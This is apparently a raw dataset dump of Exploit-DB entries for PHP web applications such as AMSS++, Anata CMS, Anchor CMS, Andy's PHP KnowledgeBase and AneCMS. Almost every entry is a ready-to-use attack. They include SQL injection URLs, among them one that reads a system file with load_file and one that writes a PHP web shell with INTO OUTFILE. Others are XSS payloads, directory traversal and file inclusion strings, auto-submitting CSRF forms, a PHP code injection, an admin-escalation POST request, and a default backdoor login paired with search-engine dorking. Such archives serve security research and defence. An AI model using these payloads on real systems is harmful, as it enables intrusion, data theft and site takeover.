deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48114
Description: AMSS++ 4.7 - Backdoor Admin Account
Type: webapps
Platform: php
Date: 2020-02-24
Author: indoushka

Exploit:
# Title: AMSS++ 4.7 - Backdoor Admin Account
# Author: indoushka
# Date: 2020-02-23
# Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit)
# Vendor    : http://amssplus.ubn4.go.th/amssplus_download/amssplus_4_31_install.rar
# Dork      : แนะนำให้ใช้บราวเซอร์ Google Chrome "AMSS++"
====================================================================================================================================

poc :


[+] Dorking İn Google Or Other Search Enggine.

[+] Use Login : admin & 1234

[+] http://127.0.0.1/innoobec/index.php


Greetings to :=========================================================================================================================
                                                                                                                                      |
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |        
                                                                                                                                      |
=======================================================================================================================================
Exploit-DB #48109
Description: AMSS++ v 4.31 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2020-02-24
Author: indoushka

Exploit:
# Title : AMSS++ v 4.31 - 'id' SQL Injection
# Author : indoushka
# Tested on: windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0(32-bit) 
# Vendor: http://amssplus.ubn4.go.th/amssplus_download/amssplus_4_31_install.rar  
# Dork: แนะนำให้ใช้บราวเซอร์ Google Chrome "AMSS++"
# CVE: N/A

# poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Use payload : /modules/mail/main/maildetail.php?id=174

[+] http://127.0.0.1/amssplus_4_31_install/amssplus/modules/mail/main/maildetail.php?id=1 <==== inject here


Greetings to :=========================================================================================================================
                                                                                                                                      |
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |        
                                                                                                                                      |
=======================================================================================================================================
Exploit-DB #31803
Description: AN Guestbook 0.4 - 'send_email.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-05-16
Author: ZoRLu

Exploit:
source: https://www.securityfocus.com/bid/29254/info

AN Guestbook (ANG) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

ANG 0.4 is vulnerable; other versions may also be affected.

http://www.example.com/ang/send_email.php?postid=[XSS]
Exploit-DB #9636
Description: An image Gallery 1.0 - 'navigation.php' Local Directory Traversal
Type: webapps
Platform: php
Date: 2009-09-10
Author: ThE g0bL!N

Exploit:
-------------------------------------------------------------------------
An image gallery 1.0(navigation.php) Local Directory Traversal
-------------------------------------------------------------------------
# Author  : ThE g0bL!N
# Download  : http://www.plohni.com/wb/content/php/download/An_image_gallery_1-0.zip
# Note: Algerie 1 - 0 Zambie
============================================
# Exploit  :
-----------
 http://localhost/PATH/navigation.php?path=../../../../../../../
#ex   :
-------
http://www.plohni.com/wb/content/php/demos/An_image_gallery/navigation.php?path=../../../../../../../windows/
============================================
Greetz:His0k4 & All My Friends
-------------------------------------------------------------------------

# milw0rm.com [2009-09-10]
Exploit-DB #5824
Description: Anata CMS 1.0b5 - 'change.php' Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2008-06-15
Author: CWH Underground

Exploit:
===============================================
  Anata CMS 1.0b5 Arbitrary Add-Admin Exploit 
===============================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 15 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Ananta CMS
 VERSION     : 1.0 BETA 5
 VENDOR	     : http://www.anantasoft.com
 DOWNLOAD    : http://downloads.sourceforge.net/ananta
#####################################################

---Add-Admin Exploit---

***magic_quotes_gpc = off***

-------------
 Description
-------------

	Anata CMS 1.0b5 have Vulnerability to escalate user to administartor's privilege.
That Vulnerable in "Change Profile Sections" (http://[Target]/[ananta_path]/change.php) 
and you can injection code into form,This action will give your account can use Admin Control Panel (http://[Target]/[ananta_path]/admin/index.php?Menus)
with Administrative's Privilege.

-----------------
 Vulnerable Path
-----------------
[+] http://[Target]/[ananta_path]/change.php

--------------
 Exploit code 
--------------
[+] hacked@nasa',`activate`='',`active`='1',`admin`='2

-----
 POC 
-----

[+] POST http://192.168.24.25/ananta/change.php HTTP/1.1
[+] Host: 192.168.24.25
[+] User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.14) Gecko/20080404 Firefox/2.0.0.14
[+] Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
[+] Accept-Language: en-us,en;q=0.5
[+] Accept-Encoding: gzip,deflate
[+] Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
[+] Keep-Alive: 300
[+] Proxy-Connection: keep-alive
[+] Referer: http://192.168.24.25/ananta/change.php
[+] Cookie: my_forums_read=a%3A1%3A%7Bi%3A2%3Bi%3A[PII_REDACTED]%3B%7D; SESSf8957b3b4f8e7726a55030f2edf0908f=b4accdd2e21350171a6f7770b7c01ea1; my_topicsRead=a%3A2%3A%7Bi%3A1%3Bi%3A[PII_REDACTED]%3Bi%3A2%3Bi%3A[PII_REDACTED]%3B%7D; fusion_visited=yes; PHPSESSID=b5a2857e687d69984cc6a38feb7a4a70
[+] Content-Type: application/x-www-form-urlencoded
[+] Content-length: 108
[+]
[+] name=test&pass=test&controle=test&email=hacked@nasa',`activate`='',`active`='1',`admin`='2&showemail=on&save=Save&table=users&number=4&active=1

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-15]
Exploit-DB #48832
Description: Anchor CMS 0.12.7 - Persistent Cross-Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2020-09-25
Author: Sinem Şahin

Exploit:
# Exploit Title: Anchor CMS 0.12.7 - Persistent Cross-Site Scripting (Authenticated)
# Date: 2020-09-24
# Exploit Author: Sinem Şahin
# Vendor Homepage: https://anchorcms.com/
# Version: 0.12.7
# Tested on: Windows & XAMPP

==> Tutorial <==

1- Go to the following url. => http://(HOST)/admin/
2- Login to admin panel.
3- Press "Posts" button.
4- Write XSS Payload into the description of the post.
5- Press "Save" button.
6- Go to the post.

XSS Payload ==> "><script>alert("XSS")</script>

==> HTTP Request <==

POST /admin/posts/edit/1 HTTP/1.1
Host: (HOST)
Content-Length: 262
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.89 Safari/537.36
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded
Accept: /
Origin: http://(HOST)/
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://(HOST)/admin/posts/edit/1
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: anchorcms=21cdfqefqwefl69ij8231
Connection: close

token=mWgKk1tbYN6HAcj0jr6K2VKxBf6C311uemwTIrmEaHIi0zQpe7pNfHVm7zcoa3Fi&title=Post+Title&markdown=%0A&slug=hello-world&created=2020-09-24%2019%3A07%3A10
&description=%22%3E%3Cscript%3Ealert(%22XSS%22)%3C%2Fscript%3E&status=published&category=1&css=&js=&autosave=false
Exploit-DB #52327
Description: Anchor CMS 0.12.7 - Stored Cross Site Scripting (XSS)
Type: webapps
Platform: php
Date: 2025-06-15
Author: /bin/neko

Exploit:
# Exploit Title: Anchor CMS 0.12.7 - Stored Cross Site Scripting (XSS)
# Google Dork: inurl:"/admin/pages/add" "Anchor CMS"
# Date: 2025-06-08
# Exploit Author: /bin/neko
# Vendor Homepage: http://anchorcms.com
# Software Link: https://github.com/anchorcms/anchor-cms
# Version: 0.12.7
# Tested on: Ubuntu 22.04 + Apache2 + PHP 8.1
# CVE: CVE-2025-46041

# Description:
Anchor CMS v0.12.7 suffers from a stored Cross-Site Scripting (XSS) vulnerability
in the `markdown` field of the /admin/pages/add page.
An authenticated user with page creation privileges can inject arbitrary JavaScript,
which is stored and executed when the page is viewed.

# Steps to Reproduce:
1. Login to /admin
2. Navigate to Pages > Add Page
3. In the `Markdown` field, insert:
   <script>alert(document.domain)</script>
4. Save the page.
5. View the created page. The script executes.

# Impact:
- Arbitrary JavaScript execution
- Potential session hijacking or admin impersonation
Exploit-DB #27138
Description: AndoNET Blog 2004.9.2 - 'Comentarios.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-01-26
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/16393/info

AndoNET Blog is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.


Version 2004.09.02 is vulnerable; other versions may also be affected. 

http://www.example.com/adonet/index.php?ando=comentarios&entrada=1'%20union%20select%201,2,3,4/*
Exploit-DB #33762
Description: Andromeda 1.9.2 - 's' Cross-Site Scripting / Session Fixation
Type: webapps
Platform: php
Date: 2010-03-15
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/38735/info

Andromeda is prone to a cross-site scripting vulnerability and a session-fixation vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and gain unauthorized access to the affected application.

Andromeda 1.9.2 is vulnerable; other versions may also be affected. 

http://www.example.com/Andromeda.v1.9.2-/index.php?q=s&sm=fo&s=<meta+http-equiv=&#039;Set-cookie&#039;+content=&#039;cookiename=cookievalue&#039;>
http://www.example.com/Andromeda.v1.9.2-/index.php?q=s&sm=fo&s=<img+src=http://www.example.com/1.JPG+onload=alert[PII_REDACTED]8860)>
Exploit-DB #28020
Description: Andy Mack 35mm Slide Gallery 6.0 - 'index.php?imgdir' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-06-13
Author: black-cod3

Exploit:
source: https://www.securityfocus.com/bid/18414/info

35mmslidegallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect version 6; other versions may also be vulnerable.

http://www.example.com/lumet/album/index.php?imgdir=&#039;><script>alert(10)</script>
Exploit-DB #28021
Description: Andy Mack 35mm Slide Gallery 6.0 - 'popup.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-06-13
Author: black-cod3

Exploit:
source: https://www.securityfocus.com/bid/18414/info
 
35mmslidegallery is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
These issues affect version 6; other versions may also be vulnerable.
 
http://www.example.comr/lumet/album/popup.php?w=&#039;><script>alert(10)</script>
http://www.example.com/lumet/album/popup.php?h=&#039;><script>alert(10)</script>
http://www.example.com/lumet/album/popup.php?t=&#039;><script>alert(10)</script>
Exploit-DB #17084
Description: Andy's PHP KnowledgeBase 0.95.2 - 'viewusers.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-03-30
Author: Mark Stanislav

Exploit:
'Andy's PHP Knowledgebase' SQL Injection Vulnerability (CVE-2011-1546)
Mark Stanislav - mark.stanislav@gmail.com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in a_viewusers.php allowing for SQL injection of the 's' query parameter.

 
II. TESTED VERSION
---------------------------------------
0.95.2


III. PoC EXPLOIT
---------------------------------------
http://www.example.com/aphpkb/a_viewusers.php?s=1%20UNION%20SELECT%20load_file(0x2f6574632f[PII_REDACTED]64),null,null,null,null,null,null%20limit%200


IV. SOLUTION
---------------------------------------
Upgrade to 0.95.3 or above.


V. REFERENCES
---------------------------------------
http://www.aphpkb.org/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1546
http://www.uncompiled.com/2011/03/cve-2011-1546/


VI. TIMELINE
---------------------------------------
03/13/2011 - Initial vendor disclosure
03/16/2011 - Vendor patched and released an updated version
03/16/2011 - Confirmed fix & disclosure date
03/30/2011 - Public disclosure
Exploit-DB #35783
Description: Andy's PHP KnowledgeBase 0.95.4 - 'step5.php' PHP Remote Code Execution
Type: webapps
Platform: php
Date: 2011-05-19
Author: AutoSec Tools

Exploit:
source: https://www.securityfocus.com/bid/47918/info

Andy's PHP Knowledgebase is prone to a vulnerability that lets remote attackers execute arbitrary code because the application fails to sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary PHP code within the context of the affected webserver process.

Andy's PHP Knowledgebase 0.95.4 is vulnerable; other versions may also be affected. 

<html>
    <body onload="document.forms[0].submit()"> 
        <form method="POST" action="http://localhost/aphpkb/install/step5.php">  
            <input type="hidden" name="install_dbuser" value="');system('calc');//" />   
            <input type="submit" name="submit" />   
        </form>   
    </body>
</html>
Exploit-DB #17061
Description: Andy's PHP KnowledgeBase 0.95.4 - SQL Injection
Type: webapps
Platform: php
Date: 2011-03-29
Author: AutoSec Tools

Exploit:
------------------------------------------------------------------------
Software................Andy's PHP Knowledgebase Project 0.95.4
Vulnerability...........SQL Injection
Threat Level............Critical (4/5)
Download................http://www.aphpkb.org/
Discovery Date..........3/27/2011
Tested On...............Windows Vista + XAMPP
------------------------------------------------------------------------
Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
------------------------------------------------------------------------


--Description--

A SQL injection vulnerability can be used to extract arbitrary data.
In some environments it may be possible to create a PHP shell.


--PoC--

localhost/aphpkb/plugins/pdfClasses/pdfgen.php?pdfa='and%201=0%20UNION%20SELECT%20'<?php%20system($_GET["CMD"]);%20?>',''%20FROM%20dual%20INTO%20OUTFILE%20'../../htdocs/shell.php';%23
Exploit-DB #23536
Description: Andy's PHP Projects Man Page Lookup Script - Information Disclosure
Type: webapps
Platform: php
Date: 2004-01-10
Author: Cabezon Aurelien

Exploit:
source: https://www.securityfocus.com/bid/9395/info

A problem in the handling of user-supplied input by Andy's PHP Projects Man Page Lookup script has been reported. Because of this, it is possible for an attacker to gain unauthorized access to sensitive information on a system.

http://www.example.com/manpage/index.php?command=/etc/resolv.conf
Exploit-DB #11686
Description: ANE CMD CRSF - Arbitrary Add Admin
Type: webapps
Platform: php
Date: 2010-03-11
Author: pratul agrawal

Exploit:
                                =======================================================================
   
                                                    AneCMS CSRF Vulnerability
 
                                =======================================================================
   
                                                               by
   
                                                         Pratul Agrawal
 
   
   
  # Vulnerability found in- Admin module
   
  # email         Pratulag@yahoo.com
   
  # company       aksitservices
   
  # Credit by     Pratul Agrawal
 
  # Software      Ane_CMS

  # Category  	  CMS / Portals
  
  # Plateform     php
  
   
   
  #  Proof of concept   #
 
  Targeted URL:  http://server/acp/index.php?p=cfg&m=links
  
 
   Script to Add a new link through Cross Site request forgery
   
             .  ................................................................................................................
   
                        <html>

                          <body>

                             <form name="XYZ" action="http://server/acp/index.php?p=cfg&m=links&id=0" method="post">

                                    <input type=hidden name="name" value="master">

                                    <input type=hidden name="link" value="master.asp">

                                    <input type=hidden name="type" value="1">
              
                                    <input type=hidden name="view" value="0">

                             </form>

                               <script>

                                 document.XYZ.submit();

                               </script>

                          </body>

                        </html>
   
             .  ..................................................................................................................
   
   
   
  After execution refresh the page and u can see that a new link with teh given name is Added automatically.
  
  
  #If you have any questions, comments, or concerns, feel free to contact me.
Exploit-DB #14716
Description: AneCMS - '/registre/next' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-23
Author: Sweet

Exploit:
############################################################################
#                                                                          #
# Exploit Title: anecms SQli                                               #
#                                                                          #
# Date: 23/08/2010                                                         #
#                                                                          #
# Author: Sweet                                                            #
#                                                                          #
# Contact : charif38@hotmail.fr                                            #
#                                                                          #
# Software Link: anecms.com                                                #
#                                                                          # 
# Download: anecms.com/anecms.zip                                          #
#                                                                          # 
# Version: All                                                             #
#                                                                          #
# Tested on: WinXp sp3                                                     #
# Description : anecms is an open source blog manager                      # 
#                                                                          #
#                                                                          #
#                                                                          #
############################################################################

Sqli:

The POST variable username has been set to sweet'" on http://vulnerable.com/register/next

Poc:

http://www.example.com/register/next

username = Sweet'"

password = test

re password = test

email = charif38@hotmail.fr

then register :]

screen : http://img830.imageshack.us/img830/1213/anecm.jpg









Saha Ftourkoum et 1,2,3 viva L'Algerie :))
Exploit-DB #33835
Description: AneCMS 1.0 - Multiple Local File Inclusions
Type: webapps
Platform: php
Date: 2010-04-12
Author: AmnPardaz Security Research Team

Exploit:
source: https://www.securityfocus.com/bid/39416/info

AneCMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these vulnerabilities to obtain potentially sensitive information and to execute arbitrary local scripts in the context of the webserver process. This may allow the attacker to compromise the application and the computer; other attacks are also possible.

AneCMS 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/rss.php?module=../.htaccess%00
http://www.example.com/index.php?ajax=../../.htaccess%00
Exploit-DB #34508
Description: AneCMS 1.0/1.3 - 'register/next' SQL Injection
Type: webapps
Platform: php
Date: 2010-08-23
Author: Sweet

Exploit:
source: https://www.securityfocus.com/bid/42615/info

AneCMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

The following example data is available:

username = Sweet'"
password = test
re password = test
email = charif38@hotmail.fr
then register :]
Exploit-DB #16007
Description: AneCMS 1.3 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-01-17
Author: Penguin

Exploit:
# Exploit Title: AneCMS 1.3 Persistant XSS
# Date: 17.1.2011
# Author: Penguin
# Visit: www.null-sector.info
# Software Link: http://anecms.com/anecms.zip
# Version: 1.3
# Tested on: Linux

(I) Vulnerability
----------------------
You can add blogpost comments that does not get filtered for HTML-Code.
Simply add an Comment with for example the Content <script>alert(1337);</script>
Your <script> code will get executed by every visitor who reads the comments!

(II) Bug Fix
----------------------
There's no Bugfix :)